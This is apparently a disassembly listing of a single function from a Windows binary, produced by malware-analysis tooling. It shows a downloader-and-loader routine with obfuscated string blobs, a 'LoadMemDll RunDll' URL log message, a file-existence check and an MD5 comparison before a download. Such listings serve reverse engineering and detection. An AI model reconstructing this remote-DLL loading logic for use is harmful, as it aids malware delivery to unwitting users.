Function at 0x4d3661
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5546e1
mov eax, dword fs:[0]
push eax
mov eax, 0x2078
call fcn.00474db0
mov eax, dword [0x673114]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x2080], eax
push 0x6d
pop ecx
mov esi, str.qe16qIbSRSURZrUjpgmDv6dMcmcRj4oigzgzOX9f9TAQehYjacpNDzMQ1eRJovgN4N5ApuFDkyWNxtlqtx5ZmRBNxt4T5ZVoWH0rZTENK7Wf8cMgH8SrnTkzOpTKck3CysRgGP84l29uuirBkSQC8ZFdYPRuqi83tduAxxlrXnjRH1TakCjrrDO9PL7ymEXTuCRDovutMQeeHPgWS357zQFDVrxitwNNBu9cI6jzbY6rHcoKmVbyT9fIFgxUx1lfW6G01f0RsiPAdTMpa3XZyuuqLRGItmh5fcMYtXF9Dj2zduW6cMHSUo503lzvyxaAJvAdz96UmVbmyfeToQ29zIiV0lNKUpcNw4glCXCneBQL75ieyTiCqm9IE0vXKrMAyGgjm8nylu6MEPM5bD1Iw7INhqtNe7zK1r0k8DRPvsViiwXDusxaY
and dword [ebp - 4], 0
lea edi, [ebp - 0x1a5c]
rep movsd dword es:[edi], dword [esi]
push 0x37
pop ecx
push 0x5d
movsw word es:[edi], word [esi]
mov esi, str.j7cG9rJzG8XAq8SQNGynyFVfZ6PSjreiPpOTjHcVkT94LzkcTapT0RMU1L8YfExkobbTMAlDw9Hnt73iLoHek3BgvJL8XrXLmxDFKJmhTFX3K1tHJfnQEVes6zA4BhQyRFw2p3y1yo1xMHC2x9bqM5XP3PjHB36SEPPnrK0Q8MRDgvvrSrmAM2QmJvnF4f9OhXFIGlLvHagDi3EduSaXLjQdihG
lea edi, [ebp - 0x1fc]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.4bqMgmos2jLOWBpu8hDNZnvYXexPUiCkU53i9AQas94iOwXhDnYZSYMv8KyfFmu3zFYVsSaxvKuegS0phP3a7SC3qYBLZXMSDdoEQhY0z2sxxnty2XUvweaDjBko8dkFmQHjDR2vBcuorAWRYRmpZULh87Zht5wEOc7b2PAB5hExaQGoZiUpzkuK7DpbKlBUHhRRhggnErgxGlPtKc7xWvrv0QnrbC9tTCkd4uttxVtFJ6MxD0Dgrl7lgQdRhoWnARIGpwyE0gtS4qqfahXjhoplPu8u8O2DUSKFQBQLnPWqjs8HzXyQyd0nH7F3q4F4t7v3mYN9sD1I6jGiVNSafEmOQmRYxKSqkStHhM07lklLAlc5hYIk5L
lea edi, [ebp - 0x1094]
rep movsd dword es:[edi], dword [esi]
push 0x51
pop ecx
push 0x3e
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.P4IIuHKBCDgjRFttnV1Gpeb6OutX35m2tA1FG5AIy89GkAE6giDweTwqkKuhmfjvMKARgnAWoMb39pc4BUMpeYyLsisgys3BP22gj1xd9dbAyoOVcX10Pzw78amhZ04i7RSytoCHHnhop1V9sO9UJ7kWdCUOlnIQIHvde4vUFgL0TUNTS9sTpOaqdFKhpK0b8zHy0dRqfpDtefR6vcyB5Esj8xoAsl4ml6Az9dZkC6NIh3oC6g0XEATIUwJzVMzhC4PEHDziytMsCOQ21iLbTOSR3q6pp1YYs22Ob1ucPWCZaRkBFMO525MrZlN3Vqeopo5P
lea edi, [ebp - 0xae0]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x45
movsb byte es:[edi], byte [esi]
mov esi, str.xeTX1nBa2T1ZgZfchqAvBjyxeTVzE6larrrPrUpeZl3NmFSeylKaFPBsrRjesnDYNgummPVhKBQuyAYWbp30I2Nxnu2W7rcLzGwlLGDql8TFE8Nf5sviyuJaLXUuNU24ctb8ktrGjBgPVU3wnNF9sIXmLzExg3tbIezMlGpGCdftirauJkTCCPLct1WUdfwjAAL0sGYQsg6ZcU38k9pNM4ept4up6Ovn5Tw33r87pVrtbm4oMIyXKCHO
lea edi, [ebp - 0x3dc]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x74
movsb byte es:[edi], byte [esi]
mov esi, str.JaXRJYmYo8EbXD0fyzdTawHJhkypvbl63LjY5MlwMRPgLCW5FEAAcXU7nA8mX2DzQbO9SrqAJff6PXYm0BCpywv9OBH8ypXZaiDPtyqU4q19N8ebQN2GA6FtsRIoTGPAkxsCF8OwHkNFNttKZrMhfOtRMAdMeEE7FSzzPIKYm8M15EIGG1dFdW848XjDC75ko7eYo2ntJUt1EqDvHH3zZ0nKoi2NFN5ps8XeMGaAsuT1qPtE87GUCwq7TqRLoa5wY1ig4iwj37Zc8bLVG4z
lea edi, [ebp - 0x4f0]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x60
mov esi, str.eaSywTGNQ0yGETjoBfMoJ1fkmfdHSir1gqKMHfPD0SSf1k6EW1S4pQc95NivUtiKXDNZlE73BgLZIe2RbSmVHIBV6H7A7Pl3zVru9qXXRWgDhaRnjS8DG14n8VjYw4MV4kf38ws4yWQ5LvZ7pb7odS0D2kVVgDsjVDq24IrccHKJPdR3FWpK3hyh6oBbNGj1qEWfiCULrpdN8YeaBvvKCOygT3GI4e16K7B5Nm4Cb6Gd5aGJ14XIZsevGBhWuL4EhQ9lHTo7oxNOIoUtRGiIpBDaGcLO2GOaASkdx5Nij4fSqpH3xrUtb9xWHD75g2BzCtkoooeVPtN18CClCp9tSQxszKB6Bmcsaxw5Nld6AED6cojWQWxIY0WA0fWNu2U8hvuktBneXnQvFTlRUmuoWYYMp9HpPtr89E1TwKDp1a5eMYVw7YiEvEq0u6WasiC5bzyRvM5Diub7ULF
lea edi, [ebp - 0x1c2c]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.bU2MtA5kgKCHf82dujfarPM8xovET1m0y8VIZy5yWkmIYaoiMnL6i4rDJR54SOit2RDQABrdh7qQfrbkzBR0747oJD210gxj0RpWK2Sgvl1GnPTYFMPa93KDwN9LkJpXcPs9oWRkXbkxYIZwH2qCdthDgdsdJRkCxWrdelflWuwfjpqUyDvu0Ry2sukNHP83ePQGKsfKM468TGkxnwxqcFOeXmU7DxynYEKykp9SKMkAgr8myPpPY949o1FR2Ttr5yaQc03Y5XdVP6HZnIVfXltfYpmVIIyDu2FT6qC6k2KZjpOefRY4zgU1xUXCokvTonkRdFi3EPKFg1X1oyjcPSM9wFT0vkA6TDJtu9vptFkU1rXlMqOwL5XR6EJR0xROaO
lea edi, [ebp - 0x1218]
rep movsd dword es:[edi], dword [esi]
push 0x48
pop ecx
push 0x6c
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.5Fq7qCHYduePRnIEG9OQi37fA4kQJDaPwjGgRa4dwfgMy0vK8ttuGUEEl1VG3O0HPtM10h7IiKKLXz9xy10U5uKXq0cqi9C0skSiXunLfuzY60yWvVbAdPXtXG7zf1ubiK9dHmzjHasGMrnvCBuFUGt5inYyYfWZK4R57QkJDTLzF8AJwDhktyZ3gmcK9KgJLttCFtULLwvoJxa35ubQAE5GTCtzVdjrpouM7yUkZ6MfBlbMF64oPfFlnMD8oFyrUerdHdGTA7XgpXTuplCaxKduPN7K8mi
lea edi, [ebp - 0x858]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.i311eOQfUqvex1MsoGIZyNVeNZ9XPsvsNqItXi8FjoYuW0lV5n4UkY9kLB9kToOqhaFRqmpfNdvqMF49cqajPNIll8VGpoPkJNxAdHbS8QRlbt50E3ebdvlkdEJFNXkuv8uvLwA5k2uKvq8AycDHUQV7ak5kD7FLyYlSIaxZQ1H98yr3WExBlxWxmnoe8qJycdRumLwRK875K7jvnLSSLvvpJCvxWBa4c8h2VCn5UcyjAfBFGUZuHCqyqId3hnC2dxsYxCS6ZIFWFgMfhKChTxmsDdikHdGnZSObRfpyVBbXOOzPoBnf2tnbE8LWWS6l2hzsCEy0OB34Tss0kQazrTfTvKNV9W2ZpmP63MEA0F1oRxwWNm1UWyeP4TzSOiEEY1Fz86oYUOya6fWwpDaBuMQPou73nZOef9r4gTcqg9Qi1dHk
lea edi, [ebp - 0x18a4]
rep movsd dword es:[edi], dword [esi]
push 0x4f
pop ecx
push 0x39
movsb byte es:[edi], byte [esi]
mov esi, str.qe18LWYxYd5L19UDVY1BPCFOy4FOeTEpkt9820n9gwBqBH3GLZOxTsGPcpsDpoV2sybKZmIKZ4DQEgcz2fPpQocfqGI8PVCnlXkHaYcZdO0Fy77Vpz5TajqKi3VVcqYjhf7rOb0mf29tvY1sffpxILiOSGovr3YSrn2YkFD7CU4fklVnGVU8v0J3TdskHMKqEiChIg0bQdsgHzqoXwZYWkQhXb3kwhZN64UaDyjE2vqdrbZ7lHwI2rOdKOHblaMZYzj5YMXayaNaB42oLjAxDCGBXATkbC7PVvQ6OpbfoEzmkYIQoV4IoLoNyX3vj3
lea edi, [ebp - 0x998]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x66
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.T4ethDOFlahh1O4CToAUqKG1g5pjKJL7vzPSlGDu5hSNh3Ks8umnzTOzGGxi8SdCK9kg86SJtY1dl6tjt1gCA4RjRcdUc5DFXgFHecMBbe8syvKepRtsGUBRPEOX2oNEtaSzGdodONl3FiKOPBZE7IE9JjzdcrD0rf5FinDtgWP8fUCfmGJMLXU5HYAizbckEepYakro1UgppAmAaigd4l0c9JZJrSoP4xr
lea edi, [ebp - 0x2e0]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.iPXdTuUFiMyQmYv643ibOLAgMihZa2wMg0PWQn6Mz5aHyGRhzarRKV3f5I63vdg1ZMQSHZ8W1Y27mK4te4l19n27kMWkGrQ4HJqWKRicYGDDkOo9Wz3PrDdVzapwfBKZORTTdcERPf67mKT2uywEGpsgl4G7vaJxQtH0dzebeKWj0vwvKgXjkf3r3ca1MyZtq4OfIQhF3UFaerNoZWHH0Nfhq4n678RzEdR9SDRK0VUcTwnqPZw1qYk81pvcskGHwpmBVGsN42gJltB8D2WB0KQlYaWeBkpatGFj5f3als6F4RdBZ4hoxqYV9pGSqwOmxtqa1vWm1UHIOpYp4FMbPnUMNRe4t2JCoRaN5rB4lrRc90jJyuwEsDajS1mFNkssOp7PdYsQtfh4oCtkxHvmWRoyCO
lea edi, [ebp - 0x1548]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0x48
pop ecx
mov esi, str.xYepd1QXfKLy3JRkHPGRA62HUciOL9CAsoI36qmVRCAagUie38VAgmZn0C0LT1srnDniHZe7o3kcMlH09M6CFHHnnzgW6aLPD0Fg5zxXP9Lk8ccvc9C3SDTLUvO6H3akm1Y9qc1luWzLuoIjRDjss66pAA4NT7kgNO17iffrAZftPUC446g5PH5pSDs0tVF9Nm8LFVEJEuQdukwnoP4ucwW0A6HDvPUQV7TtZ8kABX3IMT4CeE53SZ6KvTszsSCjfPysw8MV8LeMUaSpxFsIdxcyslO85AvR
lea edi, [ebp - 0x738]
rep movsd dword es:[edi], dword [esi]
push 0x48
pop ecx
push 0x5a
movsb byte es:[edi], byte [esi]
mov esi, str.Wbw1GJ9jwcMUgeliuScLkicqfmXcqEAyuTFv8K0rKXXSYGEF56X6QnZsTlLCSkLYE0DAczlXjR3FOVuyPAHidqAStPhCG43KEfCf5y8jJVm9TF7TunT9igBbiLAJ4dVze5jjWsQ61nb1k1Vnq4VCVqGzoiOIeR3xMGAJfM1jltG5ZKpO6yr9c0S3bEuV3xLYYbrhc6R5ZFpdXgyx441k1p1nBE3bBMRHplSSRjCP2pj8nY3bYMn2CodHjBJXOmbyWAc7jpSlmGIba5K0bN6Buj5FVFkXwAF1fR
lea edi, [ebp - 0x614]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x59
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.fRpqMLKEDihAyYr6vPN1ullaq4r0m1Jlpu4EJlDDR2ZbVjpToodfx2zxR4EWqTBwpXs6k4CVtjmvwN2ogVSXltp6BaL9CFzknWieo71DGgpSmB1VGb7GdGDbxty8R5QSFYbv26kVJeNZAlxKo3U05bWzyqZTrEsaaCPBNLfNmwKuzUctzqeDYmH52pLo5MNbEkFsM3epEcR1UhHSrzcl3AfahY7fMnry0fdP366s725RvZNG9vqWlclwMNwTyu74O6bAXYNkHLdkS6VXehVt5qgPmrkGlTcsVxfpvb5Ps3BzCOC7vKqkRO414J5EXGDDokxMHRRCQEgl6ZmRXgMthyfxJZw4XjpKgcJZ8fEtV
lea edi, [ebp - 0xf1c]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x64
movsw word es:[edi], word [esi]
mov esi, str.FXtPuni2z7AXqhG5LXXeOX0DF8VLRWfXwH1UHLFarqzeNnDSghk2ToRFBCdFLXWeXrFBHZVolIuGdP8UPkehfhRt8OJsVuLNYNoQ1llP8vYA2qy1MzfpHlWysBtoVEIw7dG9zsDRZHeUgkbvZACmfiSP01SL6tcSiC0fDWaSGFvwmFuf79OTQeG7dhJVtB89k0XskpN4R3MulVxT7N9YJ8kh51qsixCJhDu4qU4eSUEY2Ow5vmzhUJfOlOE9mKxcq2XXYyAwTe8dCJ064nuNqpic20WaMBSEhlxFAgk8rM6xl8jodKiSEcP5vDj5vNVM5i3poBPuq9DngzRD75icn4nzeNApuNt68TCUPC
lea edi, [ebp - 0xc48]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x69
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.oq023cfI1OaJ9KIBh2wv03fFwEO13lsvLse63GzkarqIhwPuRayx474YRvIssGyZxibCBaUCSRhRI9hGFkwT7H55PmL06T9hfC5gjd6uu7Hd3rK2gct91vFCu0xCbBZH1KACYWqEruwNjpj704wGXG6W68tMBfraqkfDWyz9q6ikvdCL5RIDPrtGhR9bZM7vDLljFSuDTazxrlduTUjyHFivWrfY9AHfHBAPrZU8L9gOKJGR0pxBoLOXLhnw7oT5ws0RROUu6Bbkz7oWtlFZejpHoCF3RJ65cp2VRtHNXnrzOWJnM5teyh1Cesum30mwBQIS5dtxzMVW2691hApfBHocNqkQwSbTflq7HmuVvrsR2zTxvGT8MCSHRSx5YvzAUsSH5NFaoZZ1urPw
lea edi, [ebp - 0x13ac]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x5a
movsb byte es:[edi], byte [esi]
mov esi, str.zbU9e2yi0kHuQlzBpcX89IMD26qzDJRgtZaMw0itYZTa6Kz6tNvQGy0v7Bwbrjm34iv9feqcrCDvTBB76ZU2y0h4T2w7SJsfHyYFFpQpaHDSG6inGqFId7QQMd3ksxQbx75gTFagSiu4k4x0mVhgO58yJEQG8IVVjAnUYIF3mqNBSRZUIGFCRppsLIMEBQWNhvDRRAQD17HRRLTRsxneszk314g2zdDgrmvyXXZiDfDIxXdYGETnTzCzrbWeYYneKqS3sM1wIdkCQb4vztOh80BCIDcDPpNtYn13yPb03xqVZd5OrjU0C8g0HD3TK0dxRlH3TgNsmBhzWvbUlgKUQ0O2QTRYMhUCYqpoo3oMyb1huTLUTMoKr1AUdDGmyJyKsmRcPH101Hfz9wjQTUaSoRGgHWtxKSMWM8K1
lea edi, [ebp - 0x16f0]
rep movsd dword es:[edi], dword [esi]
pop ecx
movsb byte es:[edi], byte [esi]
mov esi, str.ijsVGfktY81UgN2wgBDs8T24qkb3CvlBQJZFiYxjX3UL0sklp0SAhayma1gVcCiUObpm7PZoaxPvccgItwLGWPahMLvP8GtMYAgbgqQdTOgJNgd6YCSclxiNW69APWq22TvZhESjohVT1zJpnYaW09AfqMZ79DPjsPogaS4FxL0m0f5oZVHaV5TOoXtngeHNit1NBLmxM06pcwVz64JU8Yoq0uu635cPf70ZeaEriB3VH2TDzXAWnNeofwDiq3IKFJNG5RZpFRjwGCd0JftlPQZ4LjThlXFlGGjTNJBQ3ZYNZ0ti9tkq6s8iIOT4YBP35oIbtJgmFgK1oWeilsbBzkC6N03JB8DA9dwbMXC
lea edi, [ebp - 0xdb0]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
mov dword [ebp - 0x2074], esi
mov dword [ebp - 0x2070], esi
mov dword [ebp - 0x206c], esi
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
mov byte [ebp - 4], al
lea eax, [ebp - 0x1a5c]
push eax
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
inc eax
mov byte [ebp - 4], al
push esi
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.00479e2e
lea eax, [ebp - 0x1094]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x3dc]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x1c2c]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x1218]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x858]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x18a4]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x998]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x1548]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x738]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x614]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0xf1c]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0xc48]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x13ac]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0x16f0]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp - 0xdb0]
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x2074]
call fcn.00407f90
xor eax, eax
lea ecx, [ebp - 0x1e4c]
inc eax
push esi
push eax
mov byte [ebp - 4], al
call fcn.00479e2e
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x1e64]
push eax
call fcn.004dadb1
cmp dword [ebp - 0x1e50], 8
lea eax, [ebp - 0x1e64]
mov byte [ebp - 4], 0x16
cmovae eax, dword [ebp - 0x1e64]
push eax
push str._____LoadMemDll_RunDll______url_:__s
call fcn.004da259
add esp, 0x10
mov edi, esi
mov esi, dword [ebx + 0x4c]
cmp esi, dword [ebx + 0x50]
je 0x4d434b
cmp dword [esi + 0x14], 0x10
jb 0x4d3d02
mov eax, dword [esi]
jmp 0x4d3d04
mov eax, esi
push eax
lea ecx, [ebp - 0x1e4c]
call fcn.004057d0
push dword [ebp - 0x1e3c]
cmp dword [ebp - 0x1e38], 0x10
lea eax, [ebp - 0x1e4c]
push 0
cmovae eax, dword [ebp - 0x1e4c]
lea ecx, [ebp + 8]
push eax
call fcn.00430e50
push 1
cmp eax, 0xffffffff
lea ecx, [ebp - 0x1e4c]
pop eax
push 0
push eax
cmovne edi, eax
call fcn.00479e2e
add esi, 0x18
cmp esi, dword [ebx + 0x50]
jne 0x4d3cf8
test edi, edi
je 0x4d434b
push 0x208
lea eax, [ebp - 0x1e34]
push 0
push eax
call fcn.004f14e0
push 8
pop esi
cmp dword [ebp - 0x1e50], esi
lea eax, [ebp - 0x1e64]
cmovae eax, dword [ebp - 0x1e64]
push eax
lea eax, [ebp - 0x1ef4]
push eax
call fcn.004dca70
add esp, 0x14
lea eax, [ebp + 8]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x1f60]
call fcn.004e7d1a
lea eax, [ebp - 0x1edc]
push eax
lea ecx, [ebp - 0x1f60]
call fcn.004e7f50
lea eax, [ebp - 0x1edc]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x1e94]
push eax
call fcn.004dadb1
pop ecx
pop ecx
cmp dword [ebp - 0x1e80], esi
lea eax, [ebp - 0x1e94]
push 0x657910
cmovae eax, dword [ebp - 0x1e94]
mov ecx, ebx
push eax
push str.DownLoadFile
lea eax, [ebp - 0x1e7c]
mov byte [ebp - 4], 0x19
push eax
call fcn.004d2ec7
cmp dword [ebp - 0x1e68], esi
lea eax, [ebp - 0x1e7c]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmovae eax, dword [ebp - 0x1e7c]
push eax
mov byte [ebp - 4], 0x1a
call edi
test eax, eax
jne 0x4d3e70
lea eax, [ebx + 0x1c]
lea ecx, [ebp - 0x1e7c]
cmp ecx, eax
je 0x4d3e3e
push 0xffffffffffffffff
push 0
push eax
call fcn.00402880
mov esi, str.Config_
push esi
call fcn.005017a9
pop ecx
push eax
push esi
lea ecx, [ebp - 0x1e7c]
call fcn.00404240
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1ef4]
push eax
lea ecx, [ebp - 0x1e7c]
call fcn.00404370
push 8
pop esi
sub esp, 0x18
lea eax, [ebp - 0x1e7c]
mov ecx, esp
push eax
call fcn.00404060
lea eax, [ebp - 0x1eac]
mov ecx, ebx
push eax
call fcn.004d2c5c
cmp dword [ebp - 0x1e80], esi
lea eax, [ebp - 0x1e94]
push 0x657910
cmovae eax, dword [ebp - 0x1e94]
mov ecx, ebx
push eax
push str.FileMD5
lea eax, [ebp - 0x1ec4]
mov byte [ebp - 4], 0x1b
push eax
call fcn.004d2ec7
cmp dword [ebp - 0x1eb0], esi
lea ecx, [ebp - 0x1ec4]
lea eax, [ebp - 0x1eac]
mov byte [ebp - 4], 0x1c
cmovae ecx, dword [ebp - 0x1ec4]
cmp dword [ebp - 0x1e98], esi
push ecx
cmovae eax, dword [ebp - 0x1eac]
push eax
call fcn.004f97ff
pop ecx
pop ecx
test eax, eax
jne 0x4d3f0e
push 0x657910
lea ecx, [ebp - 0x1eac]
call fcn.004d194e
test eax, eax
jne 0x4d405b
push 0x98967f
push 0xf4240
call fcn.004dd1db
push 0x104
mov esi, eax
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004f14e0
push esi
lea eax, [ebp - 0x120]
push 0x5b5ef4
push eax
call fcn.0040ad50
mov esi, 0x63e4a8
push esi
call fcn.00501680
add esp, 0x24
lea ecx, [ebp + 8]
push eax
push esi
call fcn.004094c0
cmp byte [ebp - 0x120], 0
jne 0x4d3f69
xor eax, eax
jmp 0x4d3f76
lea eax, [ebp - 0x120]
push eax
call fcn.00501680
pop ecx
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp + 8]
call fcn.004094c0
sub esp, 0x18
lea eax, [ebp - 0x1e34]
mov ecx, esp
mov dword [ebp - 0x2078], esp
push eax
call fcn.004024f0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
mov eax, esp
lea ecx, [ebp + 8]
push ecx
push eax
call fcn.004dadb1
pop ecx
pop ecx
lea eax, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x1c
push eax
mov ecx, ebx
call fcn.004d2887
push 8
pop esi
cmp dword [ebp - 0x1e68], esi
lea eax, [ebp - 0x1e7c]
mov byte [ebp - 4], 0x1e
cmovae eax, dword [ebp - 0x1e7c]
push eax
call fcn.004dbc8b
cmp dword [ebp - 0x1e68], esi
lea ecx, [ebp - 0x1e7c]
lea eax, [ebp - 0x1e4c]
cmovae ecx, dword [ebp - 0x1e7c]
cmp dword [ebp - 0x1e38], esi
push ecx
cmovae eax, dword [ebp - 0x1e4c]
push eax
call fcn.004dc3da
add esp, 0xc
lea ecx, [ebp - 0x1e7c]
cmp dword [ebp - 0x1e68], esi
lea eax, [ebp - 0x1e94]
cmovae ecx, dword [ebp - 0x1e7c]
cmp dword [ebp - 0x1e80], esi
push ecx
cmovae eax, dword [ebp - 0x1e94]
mov ecx, ebx
push eax
push str.DownLoadFile
call fcn.004d43b5
push 0
push 1
lea ecx, [ebp - 0x1e4c]
mov byte [ebp - 4], 0x1c
call fcn.00402590
cmp dword [ebp - 0x1e68], esi
lea eax, [ebp - 0x1e7c]
